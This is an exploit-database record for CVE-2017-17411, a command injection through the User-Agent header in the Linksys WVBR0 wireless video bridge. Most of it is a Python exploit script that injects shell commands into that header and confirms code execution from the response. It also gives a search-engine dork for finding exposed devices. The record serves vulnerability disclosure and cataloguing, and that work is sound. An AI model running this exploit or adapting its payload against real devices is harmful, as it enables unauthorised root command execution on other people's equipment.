ID
VAR-E-201712-0016
TITLE
Linksys WVBR0 - User-Agent Remote Command Injection Exploit
Trust: 0.6
AFFECTED PRODUCTS
vendor: | linksys | model: | wvbr0 | scope: | - | version: | - | Trust: 0.6 |
EXPLOIT
# -*- coding: utf-8 -*-
# Author: Nixawk
# CVE-2017-17411
# Linksys WVBR0 25 Command Injection
"""
$ python2.7 exploit-CVE-2017-17411.py
[*] Usage: python exploit-CVE-2017-17411.py <URL>
$ python2.7 exploit-CVE-2017-17411.py http://example.com/
[+] Target is exploitable by CVE-2017-17411
"""
import requests
def check(url):
payload = '"; echo "admin'
md5hash = "456b7016a916a4b178dd72b947c152b7" # echo "admin" | md5sum
resp = send_http_request(url, payload)
if not resp:
return False
lines = resp.text.splitlines()
sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines)
if not any([payload in sys_cmd for sys_cmd in sys_cmds]):
return False
if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]):
return False
print("[+] Target is exploitable by CVE-2017-17411 ")
return True
def send_http_request(url, payload):
headers = {
'User-Agent': payload
}
response = None
try:
response = requests.get(url, headers=headers)
except Exception as err:
log.exception(err)
return response
if __name__ == '__main__':
import sys
if len(sys.argv) != 2:
print("[*] Usage: python %s <URL>" % sys.argv[0])
sys.exit(0)
check(sys.argv[1])
# google dork: "Vendor:LINKSYS ModelName:WVBR0-25-US"
## References
# https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
# https://thehackernews.com/2017/12/directv-wvb-hack.html
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
User-Agent Remote Command Injection Exploit
Trust: 0.6
EXTERNAL IDS
db: | 0DAYTODAY | id: | 29254 | Trust: 0.6 |
db: | EDBNET | id: | 95566 | Trust: 0.6 |
REFERENCES
url: | https://0day.today/exploits/29254 | Trust: 0.6 |
SOURCES
db: | EDBNET | id: | 95566 |
LAST UPDATE DATE
2022-07-27T09:21:24.705000+00:00
SOURCES RELEASE DATE
db: | EDBNET | id: | 95566 | date: | 2017-12-22T00:00:00 |